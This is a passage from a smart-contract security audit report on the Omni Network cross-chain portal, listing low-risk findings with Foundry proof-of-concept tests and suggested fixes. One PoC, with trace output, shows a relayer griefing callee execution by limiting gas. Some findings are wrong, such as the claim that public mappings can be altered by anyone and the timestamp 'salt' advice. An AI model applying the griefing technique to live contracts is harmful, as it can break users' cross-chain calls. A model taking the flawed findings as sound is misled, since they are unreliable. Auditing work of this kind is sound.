- Vulnerability Details Both functions allow setting any offset value without validating, as internal, they are low risk impacts:

1. No validation if the `sourceChainId` is valid/supported
2. No validation if the `shardId` is valid/supported
3. If the new offset maintains sequence integrity with existing messages

- Impact and POC code

```
    function testOffsetValidationIssue() public {
        uint64 invalidChainId = 99999;
        uint64 invalidShardId = 99999;
        uint64 newOffset = 1000;

        // Can set offset for invalid chain/shard combination
        portal.setInXMsgOffset(invalidChainId, invalidShardId, newOffset);
        portal.setInXBlockOffset(invalidChainId, invalidShardId, newOffset);

        // These values are now set despite being invalid
        assertEq(portal.inXMsgOffset(invalidChainId, invalidShardId), newOffset);
        assertEq(portal.inXBlockOffset(invalidChainId, invalidShardId), newOffset);
    }
}
```

- Mitigation code

```
function _setInXMsgOffset(uint64 sourceChainId, uint64 shardId, uint64 offset) internal {
    require(isSupportedDest[sourceChainId], "OmniPortal: invalid chain");
    require(isSupportedShard[shardId], "OmniPortal: invalid shard");

    // For sequence integrity
    uint64 currentOffset = inXMsgOffset[sourceChainId][shardId];
    require(offset >= currentOffset, "OmniPortal: offset can only increase");

    inXMsgOffset[sourceChainId][shardId] = offset;
    emit InXMsgOffsetSet(sourceChainId, shardId, offset);
}
```

- Recommendations

1. Use validation for `sourceChainId` and `shardId`
2. Use checks so offset values maintain sequence integrity
3. Use upper bounds for offset values

- [L-02] Best to use more events for Important State Changes, in OmniPortal.sol
- Summary Important state changes, don't emit events, making it less effective to track and monitor changes off-chain.
- Code snippet

```
function _clearNetwork() private {
    XTypes.Chain storage c;
    for (uint256 i = 0; i < _network.length; i++) {
        c = _network[i];
        if (c.chainId != chainId()) {
            isSupportedDest[c.chainId] = false;
            continue;
        }
        for (uint256 j = 0; j < c.shards.length; j++) {
            isSupportedShard[c.shards[j]] = false;
        }
    }
    delete _network;
}
```

- Vulnerability Details These have no event emissions:

1. Network clearing operations
2. Changes to supported destinations

3. Changes to supported shards

- Impact and POC code

```
    function testMissingEvents() public {
        vm.recordLogs();
        portal._clearNetwork();
        Vm.Log[] memory entries = vm.getRecordedLogs();
        assertEq(entries.length, 0, "No events emitted for network clearing");
    }
```

- Mitigation code

```
event NetworkCleared();
event SupportedDestinationChanged(uint64 chainId, bool supported);
event SupportedShardChanged(uint64 shardId, bool supported);

function _clearNetwork() private {
    XTypes.Chain storage c;
    for (uint256 i = 0; i < _network.length; i++) {
        c = _network[i];
        if (c.chainId != chainId()) {
            isSupportedDest[c.chainId] = false;
            emit SupportedDestinationChanged(c.chainId, false);
            continue;
        }
        for (uint256 j = 0; j < c.shards.length; j++) {
            isSupportedShard[c.shards[j]] = false;
            emit SupportedShardChanged(c.shards[j], false);
        }
    }
    delete _network;
    emit NetworkCleared();
}
```

- Recommendations

1. Put events for network clearing operations
2. And events for changes to supported destinations and shards
3. Aswell as adding indexed parameters to events for better filtering

- [L-03] No Chainlist clean-up mechanism in PortalRegistry.sol
- Summary `PortalRegistry` doesnt have functionality to remove or clean up old/deprecated chain entries from the `chainIds` array.
- Code snippet

```
function _register(Deployment calldata dep) internal {
    // same
    deployments[dep.chainId] = dep;
    chainIds.push(dep.chainId);
    emit PortalRegistered(/*...*/);
}
```

- Vulnerability Details

1. `chainIds` array only grows and never shrinks
2. No mechanism to remove deprecated or invalid chains
3. Ubounded array growth over time

- Impact and POC code

```
    function testUnboundedChainListGrowth() public {
        // Register many chains
        for(uint64 i = 1; i <= 100; i++) {
            Deployment memory dep = Deployment({
                addr: address(uint160(i)),
                chainId: i,
                deployHeight: 1,
                attestInterval: 1,
                blockPeriodNs: 1,
                shards: new uint64[](1),
                name: "test"
            });
            registry.register(dep);
        }

        // No way to remove deprecated chains
        uint256 length = registry.chainIds().length;
        assertTrue(length == 100, "Array keeps growing");

        // Try to get all deployments - could be gas intensive
        Deployment[] memory deps = registry.list();
    }
```

- Mitigation code

```
function removeChain(uint64 chainId) external onlyOwner {
    require(deployments[chainId].addr != address(0), "Chain not registered");

    // Find and remove from chainIds array
    for (uint256 i = 0; i < chainIds.length; i++) {
        if (chainIds[i] == chainId) {
            chainIds[i] = chainIds[chainIds.length - 1];
            chainIds.pop();
            break;
        }
    }

    delete deployments[chainId];
    emit ChainRemoved(chainId);
}
```

- Recommendations

1. Functionality to remove deprecated chains
2. Use pagination for the `list()` function
3. Use cleanup mechanisms for maintaining array size

- [L-04] DoS with Gas Limit in `_call` for OmniPortal.sol
- Summary `_call` uses a fixed fraction (1/63) for gas limit validation, leaving path for DoS .
- Code snippet

```
function _call(address to, uint256 gasLimit, bytes calldata data) internal returns (bool, bytes memory,
↪  uint256) {
    uint256 gasLeftBefore = gasleft();
    (bool success, bytes memory result) = to.excessivelySafeCall({
        _gas: gasLimit,
        _value: 0,
        _maxCopy: xreceiptMaxErrorSize,
        _calldata: data
    });

    uint256 gasLeftAfter = gasleft();

    if (gasLeftAfter <= gasLimit / 63) {
        assembly {
            invalid()
        }
    }
    return (success, result, gasLeftBefore - gasLeftAfter);
}
```

- Vulnerability Details

1. 1/63 fraction is hardcoded and may not be optimal for all scenarios
2. No upper bound check on gasLimit could lead to excessive gas consumption
3. Manipulation if `gasLimit` is set very high, therefore low risk

- Impact and POC code

```
contract OmniPortalTest is Test {
    function testGasLimitDos() public {
        // Setup a contract that consumes exactly gasLimit/63 + 1 gas
        MockTarget target = new MockTarget();

        uint256 gasLimit = 6300000; // Very high gas limit
        bytes memory data = abi.encodeWithSignature("consume()");

        // This call could revert even though there's technically enough gas
        vm.expectRevert();
        portal._call(address(target), gasLimit, data);
    }
}

contract MockTarget {
    function consume() external {
        uint256 i;
        while(gasleft() > 100000) {
            i++;
        }
    }
}
```

- Mitigation code

```
function _call(address to, uint256 gasLimit, bytes calldata data) internal returns (bool, bytes memory,
↪  uint256) {
    require(gasLimit <= MAX_GAS_LIMIT, "Gas limit too high");

    uint256 gasLeftBefore = gasleft();
    (bool success, bytes memory result) = to.excessivelySafeCall({
        _gas: gasLimit,
        _value: 0,
        _maxCopy: xreceiptMaxErrorSize,
        _calldata: data
    });

    uint256 gasLeftAfter = gasleft();
    uint256 gasConsumed = gasLeftBefore - gasLeftAfter;

    // More flexible gas checking logic
    require(gasLeftAfter > gasLimit / 63 && gasConsumed <= gasLimit,
        "Insufficient gas provided");

    return (success, result, gasConsumed);
}
```

- Recommendations

1. Upper bound for `gasLimit`
2. Make the gas fraction configurable
3. Use emergency functions to handle edge cases

3.6.153 A large number of validators will cause the service to go bankrupt

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description

When relayer add a new valSetId to `OmniPortal`, it will add all the corresponding validators in the `valSetId`.

This means that as many validators as the number of validators, writing about the storage variable proceeds.

In particular, considerable gas costs are incurred because validator information must be updated even in the Ethereum network, which has the highest gas cost.

If the number of validators reaches 100 when the Eth price is $2,500 and the gas cost is 5Gwei, it costs almost $30 to add a new valSetId.

And if the number of validators reaches 1,000, adding a new valSetId costs almost $300 for gas.

This means that registering 1,000 validators alone will cost $150,000(900 * 330 / 2) in gas.

In addition, updates by delegate, jail, and unjail for validators continue, so the amount of money spent on gas costs will be much higher and the protocol team will lose money.

If the caller fails to pay for these gas costs and fails to add a new valSetId, the msg cannot be transferred to EVM in a chain, and the project will in fact go bankrupt.

In addition, if there are 1500 validators, the total gas cost will reach 33M, which exceeds the block gas limit of Ethereum (30M), Arbitrum (32M), and Optimism (30M) and can no longer be recovered.

- Proof of Concept

The following shows the gas cost for substituting values into valSet.


```
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity =0.8.24;

import "forge-std/Test.sol";

contract OmniPortal_AddValidators_Gas_Test {
    mapping(uint64 => mapping(address => uint64)) public valSet;
    function test_update_validator() public {
        uint256 beforeGas = gasleft();
        mapping(address => uint64) storage _valSet = valSet[1];
        for (uint64 i = 0; i < 100; i++) {
            address a = address(uint160(i));
            _valSet[a] = i;
        }
        console.log(beforeGas - gasleft());
        // 2,205,581 (if gasprice is 5 Gwei and ETH price is $2,500, then txFee > 2,205,581 * 2,500 * 5 / 10 ^
↪  9 = $27.5)

        beforeGas = gasleft();
        _valSet = valSet[2];
        for (uint64 i = 0; i < 1000; i++) {
            address a = address(uint160(i));
            _valSet[a] = i;
        }
        console.log(beforeGas - gasleft()); // 22,234,183 (txFee > $277)

        beforeGas = gasleft();
        _valSet = valSet[3];
        for (uint64 i = 0; i < 1500; i++) {
            address a = address(uint160(i));
            _valSet[a] = i;
        }
        console.log(beforeGas - gasleft());
        // 33,361,183 > 30M
        // Ethereum block_gaslimit: 30M
        // Arbitrum block_gaslimit: 32M
        // Optimism block_gaslimit: 30M
        // When validators.length > 1500, the tx would be reverted with more txFee than $375
    }
```

```
}
```

- Recommendation

The best way is to remove valSet from Optimism and add the power of validators to xsub.

Otherwise, the number of validators must be limited to a maximum of 100.

But limiting the number of validators to about 100 would actually be like abandoning a project.

3.6.154 Missing On-Chain State for Upgrade Plan in Upgrade Contract

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Summary The Upgrade contract currently lacks an on-chain state variable to store details of an upgrade plan. Although the `planUpgrade` and `cancelUpgrade` functions emit events (`PlanUpgrade` and `CancelUpgrade`), they do not record the upgrade plan in a state variable. As a result, other contracts and external systems cannot reliably query the upgrade status or validate the plan's existence. This may lead to inconsistent states and governance failures if the planned upgrade timing or details are essential for downstream logic or protocol coordination.
- The `planUpgrade` function only emits an event when an upgrade is planned but does not save the upgrade details (e.g., name, height, info) to a state variable. As a result, no persistent information is maintained on-chain regarding planned upgrades.
- The `cancelUpgrade` function emits a cancellation event but does not check for or update any existing plan information before emitting the event. This lack of state information makes it difficult for validators or external contracts to confirm whether an upgrade was planned or canceled at any point in time.
- Impact Without a clear on-chain indicator of an upgrade plan's status, validators or contracts may be unaware of an upgrade or its cancellation.
- Recommendation
- Add a Plan struct to store the current upgrade plan on-chain:

```
struct Plan {
    string name;
    uint64 height;
    string info;
}
Plan public currentPlan;
```

- Modify `planUpgrade` to store the planned upgrade details in `currentPlan`.
- Update `cancelUpgrade` to check if an upgrade is currently planned (i.e., `currentPlan.height != 0`), and clear currentPlan upon successful cancellation.

```
function planUpgrade(Plan calldata plan) external onlyOwner {
    currentPlan = plan;
    emit PlanUpgrade(plan.name, plan.height, plan.info);
}

function cancelUpgrade() external onlyOwner {
    require(currentPlan.height != 0, "No upgrade plan to cancel");
    delete currentPlan;
    emit CancelUpgrade();
}
```

3.6.155 Potential Precision Loss

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description

The `omniToBondCoin` function converts between big.Int and sdk.Coin without any rounding logic. This could lead to precision loss for large amounts potentially in the future when `1-to1` is no longer true

- Proof of Concept

Look at the `omniToBondCoin` function:

https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/halo/evmstaking/evmstaking.go#L248-L254

```
// omniToBondCoin converts the $OMNI amount into a $STAKE coin.
// TODO(corver): At this point, it is 1-to1, but this might change in the future.
func omniToBondCoin(amount *big.Int) (sdk.Coin, sdk.Coins) {
    coin := sdk.NewCoin(sdk.DefaultBondDenom, math.NewIntFromBigInt(amount))
    return coin, sdk.NewCoins(coin)
}
```

There's no handling for potential precision loss during conversion.

- Recommendation

Implement proper rounding logic to handle precision issues:

```
func omniToBondCoin(amount *big.Int) (sdk.Coin, sdk.Coins) {
    // Define a precision threshold (e.g., 6 decimal places)
    precision := int64(6)

    // Convert to SDK Int with specified precision
    sdkAmount := sdk.NewIntFromBigInt(amount).TruncateDecimal(precision)

    coin := sdk.NewCoin(sdk.DefaultBondDenom, sdkAmount)
    return coin, sdk.NewCoins(coin)
}
```


This approach truncates the amount to a specified number of decimal places, preventing precision loss while still allowing for fractional amounts.

3.6.156 Consider having only one confirmation level for cross chain messages

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description

There are different confirmation level accompanied to how messages get ingested this can be seen right from: https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/contracts/core/src/libraries/ConfLevel.sol#L12-L21

```
    /**
     * @notice XMsg confirmation level "latest", last byte of xmsg.shardId.
     */
    uint8 internal constant Latest = 1;

    /**
     * @notice XMsg confirmation level "finalized", last byte of xmsg.shardId.
     */
    uint8 internal constant Finalized = 4;
```

That is one could either pass it on as the latest or with a more delayed conf level for the crosschain call, when querying xcall: https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/contracts/core/src/xchain/OmniPortal.sol#L131-L153

```
    function xcall(uint64 destChainId, uint8 conf, address to, bytes calldata data, uint64 gasLimit)
        external
        payable
        whenNotPaused(ActionXCall, destChainId)
    {
        require(isSupportedDest[destChainId], "OmniPortal: unsupported dest");
        require(to != VirtualPortalAddress, "OmniPortal: no portal xcall");
        require(gasLimit <= xmsgMaxGasLimit, "OmniPortal: gasLimit too high");
        require(gasLimit >= xmsgMinGasLimit, "OmniPortal: gasLimit too low");
        require(data.length <= xmsgMaxDataSize, "OmniPortal: data too large");

        // conf level will always be last byte of shardId. for now, shardId is just conf level
        uint64 shardId = uint64(conf);
        require(isSupportedShard[shardId], "OmniPortal: unsupported shard");

        uint256 fee = feeFor(destChainId, data, gasLimit);
        require(msg.value >= fee, "OmniPortal: insufficient fee");

        outXMsgOffset[destChainId][shardId] += 1;

        emit XMsg(destChainId, shardId, outXMsgOffset[destChainId][shardId], msg.sender, to, data, gasLimit,
↪   fee);
    }
```

Issue however is that using the latest conf level right as it is released makes the whole logic susceptible to a reorg attack.

- Source chain is an optimistic rollup.
- Three txs that are supposed to be processed orderly are attempted by a user cross chain (A -> B -> C).
- DUe to a reorg the order of these txs get mixed up.
- One of the txs could end up failing with an even worse case end up with the user losing funds if the txs include any $ logic and need to be correctky orderly placed.
- Or allowing claims on the latest cnof and then later on this tx should be done away with considering the reorg.
- Recommendation

Have only one conf level, which should be the `finalized` this way the chances of a reorg is even way lower after the fiinalization

3.6.157 Fix documentation for `registry/keeper/keeper.go#getOrCreateNetwork()`

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description

Take a look at https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/halo/registry/keeper/keeper.go#L74-L120

```
func (k Keeper) getOrCreateNetwork(ctx context.Context) (*Network, error) {
    sdkCtx := sdk.UnwrapSDKContext(ctx)
    createHeight := uint64(sdkCtx.BlockHeight())

    var lastPortals []*Portal

    latestNetworkID, err := k.networkTable.LastInsertedSequence(ctx)
    if err != nil {
        return nil, errors.Wrap(err, "get last network ID")
    } else if latestNetworkID != 0 {
        // Get the latest network
        lastNetwork, err := k.networkTable.Get(ctx, latestNetworkID)
        if err != nil {
            return nil, errors.Wrap(err, "get network")
        } else if lastNetwork.GetCreatedHeight() == createHeight {
            // This network was created in this block, use it as is.
```

```
            return lastNetwork, nil
        }

        lastPortals = lastNetwork.GetPortals()
    }

    // Create a new network using the latest network as base
    network := &Network{
        CreatedHeight: createHeight,
        Portals:       lastPortals,
    }
    network.Id, err = k.networkTable.InsertReturningId(ctx, network)
    if err != nil {
        return nil, errors.Wrap(err, "insert next network")
    }

    k.latestCache.Set(network)

    _, err = k.emilPortal.EmitMsg(
        sdkCtx,
        ptypes.MsgTypeNetwork,
        network.GetId(),
        xchain.BroadcastChainID,
        xchain.ShardBroadcast0,
    )
    if err != nil {
        return nil, errors.Wrap(err, "emit portal message")
    }

    return network, nil
}
```

This funciton is expected to return a network created in the current height, i.e if one already exists or create one in the case where none exists, issue however is that the natspec for this functionality is wrong, considering a different non implemented functionality is hinted.

See https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/halo/registry/keeper/keeper.go#L70-L73

```
// getOrCreateEpoch returns a network created in the current height.
// If one already exists, it will be returned.
// If none already exists, a new one will be created using the previous as base.
// New networks are emitted as cross chain messages to portals.
```

- Recommendation

```
- // getOrCreateEpoch returns a network created in the current height.
+ // getOrCreateNetwork returns a network created in the current height.
// If one already exists, it will be returned.
// If none already exists, a new one will be created using the previous as base.
// New networks are emitted as cross chain messages to portals.
```

3.6.158 If the callee checks `gasleft` internally, the relayer can intentionally make it fail

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Summary

The process of cross-chain call (Chain.X -> Chain.Y) is as follows.

```
----- Chain.X tx -----
1.1 User EOA
1.2   OmniPortal.xcall (set xCallGasLimit)

----- Chain.Y tx -----
2.1 Relayer EOA
2.2   OmniPortal.xsubmit (check if the gaslimit set by the Relayer meets the user's xCallGasLimit)
2.3     to address logic
```

The `OmniPortal` will execute cross-chain calls in order, and it does not allow retries. Therefore, in order to prevent the Relayer from setting a very small `gaslimit` to intentionally cause the user's logic execution to

fail, in step 2.2, the `OmniPortal.xsubmit` function checks if the Relayer has set enough gaslimit to execute the logic.

The problem now is that this check is flawed. In step 2.3, if the callee checks `gasleft`, the Relayer can intentionally make it fail.

- Finding Description

The `OmniPortal._call` function code is as follows.

```
///// @file: https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/contracts/core
↪ /src/xchain/OmniPortal.sol#L296-L315
    function _call(address to, uint256 gasLimit, bytes calldata data) internal returns (bool, bytes memory,
↪ uint256) {
        uint256 gasLeftBefore = gasleft();

        // use excessivelySafeCall for external calls to prevent large return bytes mem copy
        (bool success, bytes memory result) =
            to.excessivelySafeCall({ _gas: gasLimit, _value: 0, _maxCopy: xreceiptMaxErrorSize, _calldata:
↪ data });

        uint256 gasLeftAfter = gasleft();

        // Ensure relayer sent enough gas for the call
        // See https://github.com/OpenZeppelin/openzeppelin-contracts/blob/bd325d56b4c62c9c5c1aff048c37c6bb18a
↪ c0290/contracts/metatx/MinimalForwarder.sol#L58-L68
A>      if (gasLeftAfter <= gasLimit / 63) {
A>          // We use invalid opcode to consume all gas and bubble-up the effects, to emulate an "OutOfGas"
↪ exception
A>          assembly {
A>              invalid()
A>          }
A>      }

        return (success, result, gasLeftBefore - gasLeftAfter);
    }
```

Please look at the above code. At code A, it ensures that the Relayer sets enough `gaslimit` by checking the `gasleft` after executing the callee logic. However, this checking method may conflict with the callee logic. For example, the callee logic is as follows.

```
    function doSomething() external {
B>      require(gasleft() > 200_000, "invalid gas");

        // do something

        executed = true;
    }
```

Please see code B, where the callee checks `gasleft`. The Relayer can set a very small gaslimit to make the check fail. Then the callee logic will fail to execute, and code A will not be able to detect that the Relayer has set a too small gaslimit.

- Impact Explanation

High. This will cause cross-chain calls to fail.

- Likelihood Explanation

Medium. Only certain callee logic will trigger the bug.

- Proof of Concept

The PoC test case is as follows. Please put it in the `contracts/core/test` directory.

```
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity 0.8.24;

import { ExcessivelySafeCall } from "@nomad-xyz/excessively-safe-call/src/ExcessivelySafeCall.sol";
import { XTypes } from "src/libraries/XTypes.sol";
import { Test } from "forge-std/Test.sol";
import { console2 } from "forge-std/console2.sol";

contract MockOmniPortal {
    using ExcessivelySafeCall for address;
```

```
    uint16 xreceiptMaxErrorSize;
    uint64 l1ChainId;
    address l1Caller;
    uint256 offset;

    constructor(uint64 _l1ChainId, address _l1Caller) {
        xreceiptMaxErrorSize = 256;
        l1ChainId = _l1ChainId;
        l1Caller = _l1Caller;
    }

    //  copy from `OmniPortal.sol`
    function _call(address to, uint256 gasLimit, bytes calldata data) internal returns (bool, bytes memory,
↪   uint256) {
        uint256 gasLeftBefore = gasleft();

        // use excessivelySafeCall for external calls to prevent large return bytes mem copy
        (bool success, bytes memory result) =
            to.excessivelySafeCall({ _gas: gasLimit, _value: 0, _maxCopy: xreceiptMaxErrorSize, _calldata:
↪   data });

        uint256 gasLeftAfter = gasleft();

        // Ensure relayer sent enough gas for the call
        // See https://github.com/OpenZeppelin/openzeppelin-contracts/blob/bd325d56b4c62c9c5c1aff048c37c6bb18a
↪   c0290/contracts/metatx/MinimalForwarder.sol#L58-L68
        if (gasLeftAfter <= gasLimit / 63) {
            // We use invalid opcode to consume all gas and bubble-up the effects, to emulate an "OutOfGas"
↪   exception
            assembly {
                invalid()
            }
        }

        return (success, result, gasLeftBefore - gasLeftAfter);
    }
    //  copy from `OmniPortal.sol`

    function xmsg() external view returns (XTypes.MsgContext memory) {
        XTypes.MsgContext memory context;
        context.sourceChainId = l1ChainId;
        context.sender = l1Caller;
        return context;
    }

    function mockXSubmit(uint256 callOffset, address to, uint256 gasLimit, bytes calldata data) external {
        require(callOffset == offset, "This call has been executed");
        offset++;
        _call(to, gasLimit, data);
    }
}

contract MockToContract {
    bool public executed = false;

    function xCallGas() view external returns (uint256 xCallGas) {
        xCallGas = 220_000;
    }

    function doSomething() external {
        require(gasleft() > 200_000, "invalid gas");

        // do something

        executed = true;
    }
}

contract YttriumzzPoC0002Test is Test {
    uint64 l1ChainId;
    address l1Caller;
    MockOmniPortal mockOmniPortal;

    function setUp() public {
        l1ChainId = 1;
```

```
        l1Caller = makeAddr("l1Caller");
        mockOmniPortal = new MockOmniPortal(l1ChainId, l1Caller);
    }

    function testPoc0002() public {
        // 1. setup
        MockToContract mockToContract = new MockToContract();

        uint256 gaslimit = mockToContract.xCallGas();
        uint256 offset = 0;

        // 2. Relayer set a gaslimit of 50_000, while the user requested a gaslimit of 220_000.
        //    Therefore, the mockToContract's logic execution fails.
        mockOmniPortal.mockXSubmit{ gas: 50_000 }(
            offset,
            address(mockToContract),
            gaslimit,
            abi.encodeCall(MockToContract.doSomething, ())
        );
        assertEq(mockToContract.executed(), false);

        // 3. User cannot retry because `OmniPortal.sol` does not care whether the execution is successful
        vm.expectRevert("This call has been executed");
        mockOmniPortal.mockXSubmit(
            offset,
            address(mockToContract),
            gaslimit,
            abi.encodeCall(MockToContract.doSomething, ())
        );
    }
}
```

Run the PoC

```
forge test -vvvv --match-test testPoc0002
```

The output


```
$ forge test -vvvv --match-test testPoc0002
[] Compiling...
No files changed, compilation skipped

Ran 1 test for test/poc0002.t.sol:YttriumzzPoC0002Test
[PASS] testPoc0002() (gas: 124115)
Traces:
  [124115] YttriumzzPoC0002Test::testPoc0002()
    [53923] → new MockToContract@0x2e234DAe75C793f67A35089C9d99245E1C58470b
      ← [Return] 258 bytes of code
    [199] MockToContract::xCallGas() [staticcall]
      ← [Return] 220000 [2.2e5]
    [26233] MockOmniPortal::mockXSubmit(0, MockToContract: [0x2e234DAe75C793f67A35089C9d99245E1C58470b],
↪  220000 [2.2e5], 0x82692679)
      [267] MockToContract::doSomething()
        ← [Revert] revert: invalid gas
      ← [Stop]
    [277] MockToContract::executed() [staticcall]
      ← [Return] false
    [0] VM::assertEq(false, false) [staticcall]
      ← [Return]
    [0] VM::expectRevert(This call has been executed)
      ← [Return]
    [721] MockOmniPortal::mockXSubmit(0, MockToContract: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], 220000
↪  [2.2e5], 0x82692679)
      ← [Revert] revert: This call has been executed
    ← [Stop]

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.14ms (260.48µs CPU time)

Ran 1 test suite in 609.52ms (1.14ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

- Recommendation

Also check `gasleft` before executing the callee logic.

```
    function _call(address to, uint256 gasLimit, bytes calldata data) internal returns (bool, bytes memory,
↪   uint256) {
        uint256 gasLeftBefore = gasleft();
+       // check `gasLeftBefore`

        // use excessivelySafeCall for external calls to prevent large return bytes mem copy
        (bool success, bytes memory result) =
            to.excessivelySafeCall({ _gas: gasLimit, _value: 0, _maxCopy: xreceiptMaxErrorSize, _calldata:
↪   data });

        uint256 gasLeftAfter = gasleft();

        // Ensure relayer sent enough gas for the call
        // See https://github.com/OpenZeppelin/openzeppelin-contracts/blob/bd325d56b4c62c9c5c1aff048c37c6bb18a
↪   c0290/contracts/metatx/MinimalForwarder.sol#L58-L68
        if (gasLeftAfter <= gasLimit / 63) {
            // We use invalid opcode to consume all gas and bubble-up the effects, to emulate an "OutOfGas"
↪   exception
            assembly {
                invalid()
            }
        }

        return (success, result, gasLeftBefore - gasLeftAfter);
    }
```

3.6.159 No check for restricted chainID and shard

Severity: Low Risk

Context: OmniPortal.sol#L422

- Overview In the `_setNetwork(XTypes.Chain[] calldata network_)` function there is no check to make sure that `c.chainId` is not 0 and `c.shards[j]` is not Broadcast shard.
- Proof of Concept The `setNetwork(XTypes.Chain[] calldata network_)` function allows Omni consensus chain validators to add or modify supported network information. This function calls an internal function `_setNetwork(XTypes.Chain[] calldata network_)`:

```
    function _setNetwork(XTypes.Chain[] calldata network_) internal {
        _clearNetwork();

        XTypes.Chain calldata c;
        for (uint256 i = 0; i < network_.length; i++) {
            c = network_[i];
            _network.push(c);

            // if not this chain, mark as supported dest
            if (c.chainId != chainId()) {
                isSupportedDest[c.chainId] = true;
                continue;
            }

            // if this chain, mark shards as supported
            for (uint256 j = 0; j < c.shards.length; j++) {
                isSupportedShard[c.shards[j]] = true;
            }
        }
    }
```

It is clear from the above snippet that there is no check to make sure that:

1) `c.chainId` is not 0. This is important as only the Omni consensus chain uses destination chainID as 0 to broadcast messages across all the chains. This is evident from the following constant in OmniPortalConstants.sol:

```
    uint64 internal constant BroadcastChainId = 0;
```

2) `c.shards[j]` is not Broadcast shard. The reason is similar to the above: only the Omni consensus chain uses the Broadcast shard to broadcast messages across all the chains.

If 0 destination chainID and Broadcast shard are allowed on a rollup chain, that is, set to true on LOC-422 and 428 in OmniPortal.sol contract of that chain, it would render that chain as a broadcaster similar to Omni consensus chain.

There is a slight probability that Omni consensus validators could, probably mistakenly, allow 0 chainID and Broadcast shard on a rollup chain. This probability would have been 0 had the `_setNetwork(XTypes.Chain[] calldata network_)` function applied proper checks for this purpose.

I say this has a slight probability as in the past routine upgrades by trusted actors have led to serious vulnerabilities such as the infamous Nomad bridge hack in August 2022.

- Recommendation Apply the following checks in `_setNetwork(XTypes.Chain[] calldata network_)`:

```
    function _setNetwork(XTypes.Chain[] calldata network_) internal {
        _clearNetwork();

        XTypes.Chain calldata c;
        for (uint256 i = 0; i < network_.length; i++) {
            c = network_[i];
            _network.push(c);

            // if not this chain, mark as supported dest
            if (c.chainId != chainId()) {
+               require(c.chainId != 0);
                isSupportedDest[c.chainId] = true;
                continue;
            }

            // if this chain, mark shards as supported
            for (uint256 j = 0; j < c.shards.length; j++) {
+               uint64 omniCShard = ConfLevel.toBroadcastShard(ConfLevel.Finalized);
+               require(c.shards[j] != omniCShard);
                isSupportedShard[c.shards[j]] = true;
            }
        }
    }
```

3.6.160 Missing Zero Address Check & Minimum Balance Check

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description The withdraw function in contract `OmniBridgeL1.sol` lacks checks to prevent transferring to the zero address (address(0)) and does not validate that the contract holds enough tokens to cover the requested withdrawal amount. Without these checks, funds can be sent to a zero address, leading to potential loss of user funds. Additionally, the function may attempt to transfer more tokens than the contract balance, which can result in failed transactions or unexpected behavior.
- Issue
- Recommendation

3.6.161 Insecure Quorum Verification

Severity: Low Risk

Context: Quorum.sol#L32-L47

- Description

There is no check in place to ensure that the sum of votes does not exceed the totalPower which could lead to an overflow condition.

In the `verify` function, `votedPower` gets incremented by `validators[sig.validatorAddr]` which could cause the `votedPower` to overflow if the sum of the votes exceeds the maximum value of uint64, leading to a false-pass (vote-threshold met) scenario.

in the code featured below, there is no check in place following the line `votedPower += validators[sig.validatorAddr];` to ensure that `votedPower` does not exceed `totalPower`.

- Recommendation

I would recommend adding a condition that verifies the sum of votes does not exceed the totalPower before incrementing `votedPower` with `validators[sig.validatorAddr]`.

```
for (uint256 i = 0; i < sigs.length; i++) {
    sig = sigs[i];
    require(_isValidSig(sig, digest), "Quorum: invalid signature");
    require(validators[sig.validatorAddr] <= totalPower - votedPower, "Quorum: Voted power exceeded total
↪  power");
    votedPower += validators[sig.validatorAddr];
    if (_isQuorum(votedPower, totalPower, qNumerator, qDenominator)) return true;
}
return false;
```

This check ensures that the addition of `validators[sig.validatorAddr]` will not cause `votedPower` to overflow. If the condition does not hold, it reverts the transaction, preventing the overflow and incorrect quorum verification.

3.6.162 Hash function without salt

Severity: Low Risk

Context: XBlockMerkleProof.sol#L56-L61

- Description

The `_leafHash` function hashes the input data without using a salt.

In a secure hash operation, a salt (random value) should be added to the data being hashed to prevent attackers from easily generating the hash values using dictionary attacks or rainbow tables.

The consequence of this vulnerability could lead to an attacker obtaining values that result in the same hash (collision) and use this to manipulate or spoof the system.

- Recommendation

The `_leafHash` function should be modified to include a salt in the hash process. This ensures that even if the data being hashed is known, the hash value can not easily be recreated without the salt.

```
bytes32 salt = block.timestamp; // Or another appropriately random value
return keccak256(abi.encodePacked(dst, leaf, salt));
```

This change would make it more difficult for an attacker to predict or manipulate the hash result, enhancing the security of the smart contract.

Also, please note that input validation checks should be included in all functions that rely on user-provided inputs.

For example, certain constraints can be put on `leaf` such as minimum and maximum length constraints. Similarly, check the validity of the `dst` before processing.

3.6.163 Unprotected State Variables

Severity: Low Risk

Context: PortalRegistry.sol#L29-L37

- Description

The contract `PortalRegistry` declares the state variables `chainIds` and `deployments` as public.

This means anyone can read and, in case of arrays and mappings, even manipulate the contents of these state variables.

It can allow malicious actors to manipulate the state of the contract, potentially leading to unintended outcomes.

Here, a user could easily retrieve or alter the content of the `chainIds` array and `deployments` mapping due to their public visibility.

- Recommendation

To prevent unauthorized access and manipulation of these state variables, it is recommended to change the visibility of these variables to private and provide getter methods to access these variables.

```
uint64[] private chainIds;
mapping(uint64 => Deployment) private deployments;
```

For getting the values, we can use getter functions:

```
function getChainIds() public view returns(uint64[] memory) {
    return chainIds;
}
function getDeployment(uint64 _chainId) public view returns(Deployment memory) {
    return deployments[_chainId];
}
```

By doing this, we ensure that only the contract itself can modify this state and external accounts or contract can only read the state via the provided getter methods.

3.6.164 `MsgExecutionPayload` and `MsgAddVotes` Authority not checked during `ProcessProposal`

